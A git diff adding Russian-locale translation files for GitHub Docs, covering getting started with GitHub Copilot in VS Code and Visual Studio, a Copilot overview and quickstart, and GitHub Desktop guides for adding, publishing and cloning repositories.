|Linux|<kbd>Alt</kbd>+<kbd>]</kbd>|<kbd>Alt</kbd>+<kbd>[</kbd>| +1. Alternatively, you can hover over the suggestion to see the {% data variables.product.prodname_copilot %} command palette for choosing suggestions. +{% data reusables.copilot.accept-or-reject-suggestion %} + +## Seeing multiple suggestions in a new tab + +{% data reusables.copilot.suggestions-new-tab %} + +{% data reusables.copilot.create-js-file %} +1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will show you a suggestion. + ```javascript{:copy} + function calculateDaysBetweenDates(begin, end) { + ``` +1. To open a new tab with multiple additional options, press <kbd>Ctrl</kbd>+<kbd>Enter</kbd>. +1. To accept a suggestion, above the suggestion, click **Accept Solution**. To reject all suggestions, close the tab. + +## Generating code suggestions from comments + +{% data reusables.copilot.generating-suggestions-from-comments %} + +{% data reusables.copilot.create-js-file %} +1. In the JavaScript file, type the following comment. {% data variables.product.prodname_copilot %} will suggest an implementation of the function. + ```javascript{:copy} + // find all images without alternate text + // and give them a red border + function process() { + ``` + +## Using a framework + +You can also use {% data variables.product.prodname_copilot %} to generate suggestions for APIs and frameworks. The following example uses {% data variables.product.prodname_copilot %} to create a simple Express server that returns the current time. + +{% data reusables.copilot.create-js-file %} +1. In the JavaScript file, type the following comment and then press <kbd>Enter</kbd>. {% data variables.product.prodname_copilot %} will suggest an implementation of the Express app. + ```javascript{:copy} + // Express server on port 3000 +1. To accept each line, press <kbd>Tab</kbd>, then <kbd>Enter</kbd>. +1. Type the following comment and then press <kbd>Enter</kbd>. {% data variables.product.prodname_copilot %} will suggest an implementation for the default handler. + ```javascript{:copy} + // Return the current time + ``` +1. To accept each line, press <kbd>Tab</kbd>. + +{% data reusables.copilot.enabling-or-disabling-in-vsc %} + +## Further reading + +- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) diff --git a/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md new file mode 100644 index 000000000000..0aaade3943c3 --- /dev/null +++ b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md @@ -0,0 +1,94 @@ +--- +title: Getting started with GitHub Copilot in Visual Studio +shortTitle: Visual Studio +product: '{% data reusables.gated-features.copilot %}' +intro: 'Learn how to install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, and start seeing suggestions as you write comments and code.' +versions: + feature: copilot +topics: + - Copilot +--- + +## About {% data variables.product.prodname_copilot %} and Visual Studio + +{% data reusables.copilot.procedural-intro %} + +If you use {% data variables.product.prodname_vs %}, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within {% data variables.product.prodname_vs %} for Windows. + +## Prerequisites + +To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, you must have {% data variables.product.prodname_vs %} 2022 17.2 or later installed. For more information, see the [Visual Studio IDE](https://visualstudio.microsoft.com/vs/) documentation. + +{% note %} + +**Note**: {% data variables.product.prodname_copilot %} is not currently available for use with Visual Studio for Mac. + +{% endnote %} + +## Installing the {% data variables.product.prodname_vs %} extension + +To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vs %} extension. +1. In the Visual Studio toolbar, click **Extensions**, then click **Manage Extensions**. + ![Screenshot of the Visual Studio toolbar](/assets/images/help/copilot/visual-studio-toolbar.png) +1. In the "Manage Extensions" window, click **Visual Studio Marketplace**, search for the {% data variables.product.prodname_copilot %} extension, then click **Download**. + ![Screenshot of GitHub Copilot extension for Visual Studio with the download button emphasized](/assets/images/help/copilot/install-copilot-extension-visual-studio.png) +1. Close the "Manage Extensions" window, then exit and relaunch {% data variables.product.prodname_vs %}. +1. Optionally, to check that {% data variables.product.prodname_copilot %} is installed and enabled, go back to **Manage Extensions**, click **Installed** to view your currently installed extensions, then click **{% data variables.product.prodname_copilot %}** to see status information. + ![Screenshot of installed extensions in Visual Studio with GitHub Copilot emphasized](/assets/images/help/copilot/installed-copilot-extension-visual-studio.png) +1. Open or create a new project in {% data variables.product.prodname_vs %}. +1. In the "Microsoft {% data variables.product.prodname_vs %}" dialog box, to copy your device activation code, click **OK**. + ![Screenshot of the Microsoft {% data variables.product.prodname_vs %} dialogue box](/assets/images/help/copilot/vs-auth-dialogue.png) +1. A device activation window will open in your browser. Paste the device code, then click **Continue**. + + - To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>. + - To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>. +1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. +1. After you approve the permissions, {% data variables.product.prodname_vs %} will show a confirmation. + ![Screenshot of {% data variables.product.prodname_vs %} permissions confirmation](/assets/images/help/copilot/vs-confirmation.png) + +## Seeing your first suggestion + +{% data reusables.copilot.code-examples-limitations %} +{% data reusables.copilot.supported-languages %} The following samples are in C#, but other languages will work similarly. + +{% data reusables.copilot.create-c-file %} +1. In the C# file, type the following function signature. {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary. + ```csharp{:copy} + int CalculateDaysBetweenDates( + ``` + ![Screenshot of a first suggestion Visual Studio Code](/assets/images/help/copilot/first-suggestion-visual-studio.png) +{% data reusables.copilot.accept-suggestion %} + +## Seeing alternative suggestions +{% data reusables.copilot.alternative-suggestions %} +{% data reusables.copilot.create-c-file %} +1. In the C# file, type the following function signature. {% data variables.product.prodname_copilot %} will show you a suggestion. + + ```csharp{:copy} + int CalculateDaysBetweenDates( + ``` +1. If alternative suggestions are available, you can see these alternatives by pressing <kbd>Alt</kbd>+<kbd>]</kbd> (or <kbd>Alt</kbd>+<kbd>[</kbd>). +1. Optionally, you can hover over the suggestion to see the {% data variables.product.prodname_copilot %} command palette for choosing suggestions. +{% data reusables.copilot.accept-or-reject-suggestion %} + +## Generating code suggestions from comments + +{% data reusables.copilot.generating-suggestions-from-comments %} + +{% data reusables.copilot.create-c-file %} +1. In the C# file, type the following comment. {% data variables.product.prodname_copilot %} will suggest an implementation of the function. + ```csharp{:copy} + using System.Xml.Linq; + + var doc = XDocument.Load("index.xhml"); + + // find all images + ``` +{% data reusables.copilot.accept-suggestion %} + + +{% data reusables.copilot.enabling-or-disabling-vs %} + +## Further reading + +- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) diff --git a/translations/ru-RU/content/copilot/getting-started-with-github-copilot/index.md b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/index.md new file mode 100644 index 000000000000..9c4ce64d046e --- /dev/null +++ b/translations/ru-RU/content/copilot/getting-started-with-github-copilot/index.md @@ -0,0 +1,21 @@ +--- +title: Начало работы с GitHub Copilot +shortTitle: Get started with GitHub Copilot +intro: 'Вы можете начать использовать {% data variables.product.prodname_copilot %}, установив расширение в предпочитаемой среде.' +versions: + feature: copilot +topics: + - Copilot +children: + - /getting-started-with-github-copilot-in-visual-studio-code + - /getting-started-with-github-copilot-in-visual-studio + - /getting-started-with-github-copilot-in-a-jetbrains-ide + - /getting-started-with-github-copilot-in-neovim +ms.openlocfilehash: 31b43f0c2bf69bda04ee8176b2c7d03e4f1123da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080578' +--- + diff --git a/translations/ru-RU/content/copilot/index.md b/translations/ru-RU/content/copilot/index.md new file mode 100644 index 000000000000..8b3ec2f99bda --- /dev/null +++ b/translations/ru-RU/content/copilot/index.md @@ -0,0 +1,40 @@ +--- +title: GitHub Copilot +shortTitle: GitHub Copilot +intro: 'Вы можете использовать {% data variables.product.prodname_copilot %} для получения предложений в стиле автозавершения от помощника на базе ИИ при написания кода.' +redirect_from: + - /github/copilot +changelog: + label: copilot +introLinks: + overview: /copilot/overview-of-github-copilot/about-github-copilot + quickstart: /copilot/quickstart +featuredLinks: + guides: + - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code + - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide + - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio + - /copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim + popular: + - /billing/managing-billing-for-github-copilot/about-billing-for-github-copilot + - /copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code + - /copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide + - /copilot/configuring-github-copilot/configuring-github-copilot-settings-on-githubcom +layout: product-landing +versions: + feature: copilot +children: + - /quickstart + - /overview-of-github-copilot + - /getting-started-with-github-copilot + - /configuring-github-copilot +topics: + - Copilot +ms.openlocfilehash: 9a6100d2b5fe0bf8b710ce19e6a12f0afee42913 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147443699' +--- + diff --git a/translations/ru-RU/content/copilot/overview-of-github-copilot/about-github-copilot.md b/translations/ru-RU/content/copilot/overview-of-github-copilot/about-github-copilot.md new file mode 100644 index 000000000000..7acf36c3e64c --- /dev/null +++ b/translations/ru-RU/content/copilot/overview-of-github-copilot/about-github-copilot.md @@ -0,0 +1,46 @@ +--- +title: Сведения о GitHub Copilot +intro: '{% data variables.product.prodname_copilot %} помогает писать код, предоставляя предложения в стиле автозавершения. Вы можете узнать, что следует учитывать при использовании {% data variables.product.prodname_copilot %} и как {% data variables.product.prodname_copilot %} работает.' +versions: + feature: copilot +topics: + - Copilot +shortTitle: About GitHub Copilot +ms.openlocfilehash: dd4538cb4cf6fc9dd84bb3f0d05bf8a85559d5ec +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160643' +--- +## Сведения о {% data variables.product.prodname_copilot %} + +{% data variables.product.prodname_copilot %} — помощник по написанию кода на базе ИИ, который предоставляет предложения в стиле автозавершения по мере написания кода. Вы можете получить предложения от {% data variables.product.prodname_copilot %} при написании кода для использования или при написании комментария на естественном языке для описания действия кода. {% data variables.product.prodname_copilot %} анализирует контекст в редактируемом файле, а также связанные файлы и предлагает подсказки из текстового редактора. {% data variables.product.prodname_copilot %} работает на базе OpenAI Codex, новой системы ИИ, созданной OpenAI. + +{% data variables.product.prodname_copilot %} обучается на всех языках, которые отображаются в общедоступных репозиториях. Качество получаемых предложений для каждого языка может зависеть от объема и разнообразия обучающих данных для этого языка. Например, JavaScript хорошо представлен в общедоступных репозиториях и является одним из лучших поддерживаемых языков {% data variables.product.prodname_copilot %}. Языки с меньшим представлением в общедоступных репозиториях могут давать меньше или менее надежных предложений. + +{% data variables.product.prodname_copilot %} предоставляется в виде расширения в Visual Studio Code, Visual Studio, Neovim и наборе интегрированных сред разработки JetBrains. Дополнительные сведения см. в статье [Начало работы с {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot). + +## Использование {% data variables.product.prodname_copilot %} + +Вы можете ознакомиться с реальными примерами работы {% data variables.product.prodname_copilot %}. Дополнительные сведения см. на веб-сайте [{% data variables.product.prodname_copilot %}](https://copilot.github.com/). + +GitHub Copilot предоставляет предложения из модели, созданной OpenAI на основе миллиардов строк открытого кода. В результате набор обучения для {% data variables.product.prodname_copilot %} может содержать небезопасные шаблоны кода, ошибки или ссылки на устаревшие API или идиомы. Когда {% data variables.product.prodname_copilot %} создает предложения на основе этих обучающих данных, такие предложения также могут содержать нежелательные шаблоны. + +Вы обязаны обеспечить безопасность и качество своего кода. При использовании кода, созданного {% data variables.product.prodname_copilot %}, мы рекомендуем придерживаться тех же мер предосторожности, что и при использовании любого стороннего кода. Эти меры предосторожности включают тщательное тестирование, сканирование IP-адресов и отслеживание уязвимостей системы безопасности. {% data variables.product.company_short %} предоставляет ряд компонентов для мониторинга и улучшения качества кода, например {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_codeql %} и {% data variables.product.prodname_code_scanning %}. Все эти компоненты можно использовать в общедоступных репозиториях. Дополнительные сведения см. в статье [Общие сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions) и [Функции безопасности {% data variables.product.company_short %}](/code-security/getting-started/github-security-features). + +{% data variables.product.prodname_copilot %} использует фильтры, чтобы блокировать оскорбительные слова в запросах и предотвращать создание подсказок в конфиденциальных контекстах. Мы постоянно улучшаем систему фильтров, чтобы обеспечить более интеллектуальное обнаружение и удаление оскорбительных подсказок, создаваемых {% data variables.product.prodname_copilot %}, включая предвзятые, дискриминационные или оскорбительные выходные данные. Если вы увидите оскорбительную подсказку, созданную {% data variables.product.prodname_copilot %}, сообщите о ней непосредственно по адресу copilot-safety@github.com, чтобы мы могли улучшить наши меры безопасности. + +{% data reusables.copilot.emus-cannot-use-copilot %} + +## Сведения о выставлении счетов за {% data variables.product.prodname_copilot %} + +{% data variables.product.prodname_copilot %} — это платная функция, требующая ежемесячной или ежегодной подписки. Проверенные учащиеся, преподаватели и поддержку популярных проектов открытый код в {% data variables.product.prodname_dotcom %} имеют право бесплатно использовать {% data variables.product.prodname_copilot %}. Если вы соответствуете критериям для получения бесплатной подписки {% data variables.product.prodname_copilot %}, вы автоматически получите уведомление при посещении страницы подписки {% data variables.product.prodname_copilot %}. Если вы не соответствуете критериям для получения бесплатной подписки {% data variables.product.prodname_copilot %}, вам будет предложено использовать 60-дневную бесплатную пробную версию. По истечении пробного периода вам потребуется перейти на платную подписку для дальнейшего использования. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot). + +## Сведения о лицензии для подключаемого модуля {% data variables.product.prodname_copilot %} в интегрированных средах разработки JetBrains + +Лицензиаром подключаемого модуля JetBrains является {% data variables.product.prodname_dotcom %}, Inc. Лицензионное соглашение с пользователем для этого подключаемого модуля — [Условия {% data variables.product.prodname_dotcom %} для дополнительных продуктов и компонентов](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot). Использование этого подключаемого модуля регулируется этими условиями. JetBrains не несет ответственности за этот подключаемый модуль или это соглашение. Используя подключаемый модуль, вы соглашаетесь с упомянутыми выше условиями. + +## Дополнительные сведения + +- [Условия {% data variables.product.company_short %} для дополнительных продуктов и компонентов](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) diff --git a/translations/ru-RU/content/copilot/overview-of-github-copilot/index.md b/translations/ru-RU/content/copilot/overview-of-github-copilot/index.md new file mode 100644 index 000000000000..a3887f2a4669 --- /dev/null +++ b/translations/ru-RU/content/copilot/overview-of-github-copilot/index.md @@ -0,0 +1,18 @@ +--- +title: Обзор GitHub Copilot +shortTitle: Overview of GitHub Copilot +intro: 'Узнайте больше о {% data variables.product.prodname_copilot %}, включая варианты использования и условия для данных {% data variables.product.prodname_copilot %}.' +versions: + feature: copilot +topics: + - Copilot +children: + - /about-github-copilot +ms.openlocfilehash: 2b5e6a387ad81fe3fc99ed85dba4302e167bd4b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080558' +--- + diff --git a/translations/ru-RU/content/copilot/quickstart.md b/translations/ru-RU/content/copilot/quickstart.md new file mode 100644 index 000000000000..bde85097a606 --- /dev/null +++ b/translations/ru-RU/content/copilot/quickstart.md @@ -0,0 +1,67 @@ +--- +title: Quickstart for GitHub Copilot +intro: '{% data variables.product.prodname_copilot %} can help you work, by offering inline suggestions as you code.' +product: '{% data reusables.gated-features.copilot %}' +allowTitleToDifferFromFilename: true +versions: + feature: copilot +shortTitle: Quickstart +topics: + - Copilot +--- + +## Introduction + +{% data variables.product.prodname_copilot %} is an AI pair programmer. You can use {% data variables.product.prodname_copilot %} to get suggestions for whole lines or entire functions right inside your editor. + +This guide will show you how to sign up for {% data variables.product.prodname_copilot %}, install the {% data variables.product.prodname_copilot %} extension in {% data variables.product.prodname_vscode %}, and get your first suggestion. For more information on {% data variables.product.prodname_copilot %}, see "[About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)." For more in-depth information on how to use {% data variables.product.prodname_copilot %} in a variety of environments, see "[Getting Started](/copilot/getting-started-with-github-copilot)." + +## Prerequisites + +{% data reusables.copilot.copilot-prerequisites %} +- To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) documentation. + +## Signing up for {% data variables.product.prodname_copilot %} + +{% data reusables.copilot.signup-procedure %} + +## Installing the {% data variables.product.prodname_copilot %} extension for {% data variables.product.prodname_vscode %} + +To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vscode %} extension. + +1. In the {% data variables.product.prodname_vscode %} Marketplace, go to the [{% data variables.product.prodname_copilot %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) page and click **Install**. + ![Install {% data variables.product.prodname_copilot %} extension {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png) +1. A popup will appear, asking to open {% data variables.product.prodname_vscode %}. Click **Open {% data variables.product.prodname_vscode %}**. +1. In the "Extension: {% data variables.product.prodname_copilot %}" tab in {% data variables.product.prodname_vscode %}, click **Install**. + ![Install button in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/in-visual-studio-code-install-button.png) +1. If you have not previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, you will be prompted to sign in to {% data variables.product.prodname_dotcom %} in {% data variables.product.prodname_vscode %}. + - If you have previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, {% data variables.product.prodname_copilot %} will be automatically authorized. + ![Screen shot of {% data variables.product.prodname_vscode %} authorization screen](/assets/images/help/copilot/vsc-copilot-authorize.png) +1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_vscode %}**. +1. In {% data variables.product.prodname_vscode %}, in the "{% data variables.product.prodname_vscode %}" dialogue box, to confirm the authentication, click **Open**. + +## Getting your first suggestion + +{% data reusables.copilot.code-examples-limitations %} + +{% data reusables.copilot.supported-languages %} The following samples are in JavaScript, but other languages will work similarly. + +1. Open {% data variables.product.prodname_vscode %}. +{% data reusables.copilot.create-js-file %} +{% data reusables.copilot.type-function-header %} + {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary. + ![First suggestion {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png) +{% data reusables.copilot.accept-suggestion %} + +## Next Steps + +You successfully installed {% data variables.product.prodname_copilot %} and received your first suggestion, but that's just the beginning! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_copilot %}. + +- [Getting Started](/copilot/getting-started-with-github-copilot): You've learned how to get your first suggestion in {% data variables.product.prodname_vscode %}. These guides show you how to set up and navigate the various functions of {% data variables.product.prodname_copilot %} across all of the supported environments. +- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/): See practical examples of how {% data variables.product.prodname_copilot %} can help you work. +- [Configuring {% data variables.product.prodname_copilot %}](/copilot/configuring-github-copilot): These guides provide details on how to configure {% data variables.product.prodname_copilot %} to your personal preferences. + + +## Further reading + +- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md new file mode 100644 index 000000000000..1587b8876568 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md @@ -0,0 +1,43 @@ +--- +title: Добавление репозитория с локального компьютера в GitHub Desktop +intro: 'Вы можете добавить любой репозиторий Git в {% data variables.product.prodname_desktop %}, даже если это не репозиторий {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /desktop/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop + - /desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop +versions: + fpt: '*' +shortTitle: Add a repository +ms.openlocfilehash: a50b5d01a2680aed173bca3ada146d318e4728b5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145117571' +--- +{% tip %} + +**Совет**. Вы можете добавить репозиторий Git с локального компьютера в GitHub Desktop, перетащив папку в окно {% data variables.product.prodname_desktop %}. Если перетащить в {% data variables.product.prodname_desktop %} несколько папок Git одновременно, каждая из них будет добавлена в виде отдельного репозитория Git. + +{% endtip %} + +{% mac %} + +1. В меню **File** (Файл) выберите **Add Local Repository** (Добавить локальный репозиторий). + ![Пункт меню "Add Local Repository" (Добавить локальный репозиторий)](/assets/images/help/desktop/add-local-repository-mac.png) +2. Нажмите кнопку **Choose...** (Выбрать) и, используя окно средства поиска, перейдите к локальному репозиторию, который нужно добавить. + ![Поле "Local Path" (Локальный путь) в приложении Mac](/assets/images/help/desktop/add-repo-choose-button-mac.png) +4. Нажмите кнопку **Add Repository** (Добавить репозиторий). + ![Кнопка "Add Repository" (Добавить репозиторий) в приложении Mac](/assets/images/help/desktop/add-repository-button-mac.png) + +{% endmac %} + +{% windows %} + +1. В меню **Файл** выберите **Add local repository** (Добавить локальный репозиторий). + ![Пункт меню "Add Local Repository" (Добавить локальный репозиторий)](/assets/images/help/desktop/add-local-repository-windows.png) +2. Нажмите кнопку **Выбрать...** и, используя проводник, перейдите к локальному репозиторию, который нужно добавить. + ![Поле "Локальный путь" в приложении Windows](/assets/images/help/desktop/add-repo-choose-button-win.png) +4. Нажмите кнопку **Add Repository** (Добавить репозиторий). + ![Кнопка "Add Repository" (Добавить репозиторий) в приложении Windows](/assets/images/help/desktop/add-repository-button-windows.png) + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md new file mode 100644 index 000000000000..04f8201bb486 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md @@ -0,0 +1,47 @@ +--- +title: Добавление существующего проекта в GitHub с помощью GitHub Desktop +intro: 'Существующий репозиторий Git можно добавить в {% data variables.product.prodname_dotcom %} с помощью {% data variables.product.prodname_desktop %}.' +redirect_from: + - /desktop/contributing-to-projects/adding-an-existing-project-to-github-using-github-desktop + - /desktop/contributing-and-collaborating-using-github-desktop/adding-an-existing-project-to-github-using-github-desktop +versions: + fpt: '*' +shortTitle: Add an existing project +ms.openlocfilehash: 99e220467281b3132476638b9b685dfdb99cf95f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092325' +--- +{% mac %} + +{% data reusables.git.remove-git-remote %} +2. [Добавьте репозиторий в GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). +{% data reusables.desktop.publish-repository %} +4. Введите требуемое имя репозитория в поле **Имя** или используйте текущее имя локального репозитория по умолчанию. + ![Поле "Имя"](/assets/images/help/desktop/publish-repository-name-mac.png) +5. Чтобы опубликовать общедоступный репозиторий, снимите флажок **Keep this code private** (Оставить этот код закрытым). + ![Флажок "Keep this code private" (Оставить этот код закрытым)](/assets/images/help/desktop/publish-repository-private-checkbox-mac.png) +6. В раскрывающемся списке **Организация** выберите организацию, где вы хотите опубликовать репозиторий, или выберите **Нет**, чтобы опубликовать репозиторий в личной учетной записи. + ![Раскрывающийся список "Организация"](/assets/images/help/desktop/publish-repository-org-dropdown-mac.png) +7. Нажмите кнопку **Опубликовать репозиторий**. + ![Кнопка "Опубликовать репозиторий" в диалоговом окне "Опубликовать репозиторий"](/assets/images/help/desktop/publish-repository-dialog-button-mac.png) + +{% endmac %} + +{% windows %} + +{% data reusables.git.remove-git-remote %} +2. [Добавьте репозиторий в GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). +{% data reusables.desktop.publish-repository %} +4. Введите требуемое имя репозитория в поле **Имя** или используйте текущее имя локального репозитория по умолчанию. + ![Поле "Имя"](/assets/images/help/desktop/publish-repository-name-win.png) +5. Чтобы опубликовать общедоступный репозиторий, снимите флажок **Keep this code private** (Оставить этот код закрытым). + ![Флажок "Keep this code private" (Оставить этот код закрытым)](/assets/images/help/desktop/publish-repository-private-checkbox-win.png) +6. В раскрывающемся списке **Организация** выберите организацию, где вы хотите опубликовать репозиторий, или выберите **Нет**, чтобы опубликовать репозиторий в личной учетной записи. + ![Раскрывающийся список "Организация"](/assets/images/help/desktop/publish-repository-org-dropdown-win.png) +7. Нажмите кнопку **Опубликовать репозиторий**. + ![Кнопка "Опубликовать репозиторий" в диалоговом окне "Опубликовать репозиторий"](/assets/images/help/desktop/publish-repository-dialog-button-win.png) + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md new file mode 100644 index 000000000000..a73f50794584 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md @@ -0,0 +1,53 @@ +--- +title: Cloning a repository from GitHub to GitHub Desktop +intro: 'You can use {% data variables.product.prodname_dotcom %} to clone remote repositories to {% data variables.product.prodname_desktop %}.' +redirect_from: + - /desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop + - /desktop/contributing-and-collaborating-using-github-desktop/cloning-a-repository-from-github-to-github-desktop +versions: + fpt: '*' +shortTitle: Clone a GitHub repo +--- +{% tip %} + +**Tip:** You also can use {% data variables.product.prodname_desktop %} to clone repositories that exist on {% data variables.product.prodname_dotcom %}. For more information, see "[Cloning a repository from {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)." + +{% endtip %} + +{% mac %} + +1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone. +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.open-with-github-desktop %} +5. Click **Choose...** and, using the Finder window, navigate to a local path where you want to clone the repository. +![The choose button on the URL tab](/assets/images/help/desktop/clone-choose-button-url-mac.png) + + {% note %} + + **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. + + {% endnote %} + +5. Click **Clone**. +![The clone button on the URL tab](/assets/images/help/desktop/clone-button-url-mac.png) + +{% endmac %} + +{% windows %} + +1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_desktop %} before you start to clone. +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.open-with-github-desktop %} +5. Click **Choose...** and, using Windows Explorer, navigate to a local path where you want to clone the repository. +![The choose button](/assets/images/help/desktop/clone-choose-button-url-win.png) + + {% note %} + + **Note:** If the repository is configured to use LFS, you will be prompted to initialize {% data variables.large_files.product_name_short %}. + + {% endnote %} + +5. Click **Clone**. +![The clone button](/assets/images/help/desktop/clone-button-url-win.png) + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md new file mode 100644 index 000000000000..66a8111d48ff --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop.md @@ -0,0 +1,52 @@ +--- +title: Клонирование и создание ветки для репозиториев из GitHub Desktop +intro: 'Вы также можете использовать {% data variables.product.prodname_desktop %} для клонирования репозиториев и создания в них вилок, существующих в {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /desktop/contributing-to-projects/cloning-a-repository-from-github-desktop + - /desktop/contributing-to-projects/cloning-and-forking-repositories-from-github-desktop + - /desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop +versions: + fpt: '*' +shortTitle: Clone & fork from Desktop +ms.openlocfilehash: e4182e56d0418e3aea07c94e0a3657ef8e104ea0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT 